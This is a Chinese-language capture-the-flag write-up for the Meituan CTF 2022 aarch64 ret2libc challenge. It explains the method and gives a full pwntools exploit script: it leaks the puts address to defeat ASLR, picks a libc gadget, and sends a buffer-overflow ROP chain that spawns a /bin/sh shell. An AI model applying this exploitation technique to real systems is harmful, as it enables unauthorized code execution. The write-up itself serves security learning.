[美团CTF2022 ret2libc_aarch64]
*附件下载
只开了NX(qemu环境随机化就算开了也=没开)
main
leak函数,输入puts_got_addr能够泄露puts地址
这里要注意的是,aarch64中libc地址存在/x00截断
可以只泄露低位,再加回去
1 2 3 4 5 6 7 8 9 10
| puts_got =elf.got['puts']
p.recvuntil(">") p.sendline("1") p.recvuntil("sensible>>\n") p.send(p64(puts_got))
puts_addr = u64(p.recv(3).ljust(8, b'\x00'))+ 0x4000000000 libc_base = puts_addr - libc.sym['puts'] success("libc_base : %s",libc_base)
|
overflow里有一次溢出
给了libc,可以打ret2libc。
ROPgadget发现elf文件内没有什么可以用的gadget,只能去libc里找了,往ldr x0上找最后找到可以用这个
1
| #0x0000000000063e5c : ldr x0, [sp, #0x18] ; ldp x29, x30, [sp], #0x20 ; ret
|
这个gadget会把sp+0x18位置的值赋值给x0
先打一半泄露地址
1 2 3
| [+] puts_addr : 0x40008ab928 [+] libc_base : 0x4000846000 [+] gadget : 0x40008a9e5c
|
然后断点下到gadget,高亮就是需要传入system的地方(地址)
所以ropchain如下
1
| payload = b'a'*128 +b'b'*8 + p64(gadget) + p64(0)*3 + p64(system) + p64(0) + p64(binsh)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| from pwn import * context(os='linux', arch='aarch64', log_level='debug')
p = process(["qemu-aarch64","-g","2345","-L", "/usr/aarch64-linux-gnu", "./pwn"])
elf = ELF("./pwn") libc = ELF("./libc.so.6") puts_got =elf.got['puts']
p.sendlineafter(b">", "1") p.sendafter("sensible>>\n", p64(puts_got)) p.send(p64(puts_got))
puts_addr = u64(p.recv(3).ljust(8, b'\x00'))+ 0x4000000000 success("puts_addr : %s",hex(puts_addr)) libc_base = puts_addr - libc.sym['puts'] success("libc_base : %s",hex(libc_base))
system = libc_base + libc.sym['system'] binsh = libc_base + (next(libc.search(b'/bin/sh')))
gadget = libc_base + 0x63e5c success("gadget : %s",gadget) p.sendlineafter(b">", "2") pause() payload = b'a'*128 +b'b'*8 + p64(gadget) + p64(0)*3 + p64(system) + p64(0) + p64(binsh) p.sendlineafter("sensible>>", payload) p.interactive()
|